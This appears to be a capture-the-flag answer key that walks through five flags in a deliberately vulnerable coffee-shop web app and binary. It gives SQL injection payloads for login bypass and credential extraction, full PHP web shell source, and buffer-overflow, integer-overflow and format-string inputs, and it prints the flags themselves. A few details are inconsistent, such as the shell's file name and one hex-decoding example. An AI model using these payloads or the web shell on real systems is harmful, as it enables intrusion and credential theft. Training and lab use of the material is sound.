CTF Flags Documentation

Flag 1: Admin Password Discovery

Name: Database Infiltration Flag **Location**: Base64-encoded admin password in the users table **Flag Format**: CTF{}

1. Initial SQL Injection Bypass
    1. Navigate to the login page
    2. Use SQL injection to bypass authentication:
        1. Username: ' OR 1=1 --
        2. Password: anything
    3. This logs you in as the first user in the database

Hint: Don't forget to add a space after the `--` to comment out the rest of the query.

2. Access Profile Page
    1. Navigate to index.php?page=profile
    2. Locate the "Share Your Experience" review section
3. Exploit SQL Injection in Review Update
    1. Use the review textarea to perform SQL injection via the updateReview() function
    2. First, discover database structure:

```
sql', review_text=(SELECT GROUP_CONCAT(table_name SEPARATOR ', ')
FROM information_schema.tables WHERE table_schema=database())
WHERE '1'='1' --
```

4. Extract User Table Columns

```
sql', review_text=(SELECT GROUP_CONCAT(column_name SEPARATOR ', ') FROM
information_schema.columns WHERE table_name='users') WHERE '
1'='
1' --
```

5. Extract User Data

```
sql', review_text=(SELECT
GROUP_CONCAT(CONCAT(username,':',password,':',role) SEPARATOR ', ') FROM
users) WHERE '
1'='
1' --
```

6. Decode Admin Password
    1. Locate the admin user entry in the extracted data
    2. The password is stored as base64-encoded
    3. Decode the base64 string to reveal the flag

Flag 2: File System Access

Name: Server File System Flag **Location**: /flag.txt file on the server **Flag** Format: CTF{}

1. Obtain Admin Credentials
    1. Complete Flag 1 exploit to get admin username and decoded password
2. Login as Administrator
    1. Use the admin credentials to log in properly as admin user
3. Access File Upload Functionality
    1. As an admin user, the profile page shows file upload capability
    2. The upload function in handleFileUpload() has no file type restrictions for admins
4. Create PHP Web Shell
    1. Create a PHP file with web shell functionality:

```
<html>
 <body>
 <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?
>">
 <input type="text" name="command" autofocus id="command" size="50">
 <input type="submit" value="Execute">
 </form>
 <pre>
 <?php
     if(isset($_GET['command']))
     {
         system($_GET['command'] . ' 2>&1');
     }
 ?>
 </pre>
 </body>
 </html>
```

    2. Save as shell.png.php
5. Upload Web Shell
    1. Use the profile image upload feature to upload shell.php
    2. The file will be stored in the /uploads/ directory
6. Access Web Shell
    1. Navigate to /uploads/shell.php
    2. Use the command interface to explore the file system
7. Locate and Read Flag
    1. Execute ls or dir to list files in the current directory
    2. Look for flag.txt

Flag 3: Coffee Strength Flag

Name: Coffee Strength Flag **Location**: Encrypted in `barista_academy.c` binary, revealed upon solving Challenge 1 **Flag Format**: CTF{m0cha_myst3ries_r3v34l3d}

1. Gain Admin Access
    1. Complete Flag 2 to obtain access to the PHP web shell.
2. Download the Vulnerable Binary
    1. List the files and locate the base64-encoded binary named `barista_academy`.
    2. Base64-encode the binary on the server so you can copy it:

```
base64 ./barista_academy
```

3. Decode and Prepare the Binary
    1. On your local machine, decode the base64 file and make it executable.
4. Run the Binary in Docker
    1. Move the obtained `barista_academy` binary to the `challenge/secret-executable` directory.
    2. Follow the instructions in `README.md` to run the program.

```
./run_barista.bat # on windows
./run_barista.sh  # on linux/macos
```

    3. Alternatively, you may run the binary directly if you have the necessary environment set up, it is a linux/amd64 binary.
5. Exploit the Buffer Overflow
    1. When prompted to enter your favorite coffee blend, input a string that overflows the buffer and overwrites the `coffee_strength` variable.
    2. The goal is to change `coffee_strength` from its initial value (e.g., 17) to exact amount required (this is randomized). Try inputting a string like:

```
12345678901234567890123456789N
```

    3. If the value is not correct, adjust the final character until you reach the target value. The program will give hints about the current strength.
    4. Upon success, the program reveals the flag:

```
```

```
CTF{m0cha_myst3ries_r3v34l3d}
```

5. Enter this flag when restarting the program to unlock the next challenge.

Flag 4: Coffee Shop Balance Flag

Name: Coffee Shop Balance Flag **Location**: Encrypted in `barista_academy.c` binary, revealed upon solving Challenge 2 **Flag Format**: CTF{espresso_3xpr3ss_secrets}

1. After capturing Flag 3, the program unlocks Challenge 2.
2. You start with 1100 coins and can buy coffees costing 900 coins each.
3. The program checks if you have enough balance for the purchase.
4. Exploit integer overflow by entering a very large number of coffees to make the total cost overflow to a negative number (e.g., `12312312`).
5. This causes your balance to increase incorrectly. Repeat purchases if needed.
6. Once your balance reaches or exceeds 100,000 coins, the program awards Flag 4:

```
CTF{espresso_3xpr3ss_secrets}
```

7. Enter this flag when restarting the program to unlock the next challenge.

Hint: Try entering a very large integer as the number of coffees to order. If the program rejects non-numeric input, use a large positive number to trigger the overflow.

Flag 5: Secret Order Printer Flag

Name: Secret Order Printer Flag **Location**: Encrypted in `barista_academy.c` binary, revealed upon solving Challenge 3 **Flag Format**: CTF{cappucc1n0_cr4ck3r_4l3rt}

1. After capturing Flag 4, the program unlocks Challenge 3.
2. Use the secret order printer feature, which reads your input and passes it directly to `printf` without format string protection.
3. Exploit the format string vulnerability by sending a payload such as:

```
%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,
%llx,%llx
```

4. The output will display hexadecimal values from the stack. Look for values that resemble ASCII when converted.
5. Reverse the byte order of each 64-bit chunk (little-endian) to reveal the flag. For example:
   - `707061637b465443` → `CTF{capp`
   - `635f306e31636375` → `uccino_3c`

    - ...

   There are many online tools available to help with this conversion.

6. Combine the parts to get the full flag:

```
CTF{cappucc1n0_cr4ck3r_4l3rt}
```

Hint: Use repeated `%llx` format specifiers to leak stack memory. Convert the hex output to ASCII and reverse the endianness for each chunk to reconstruct the flag.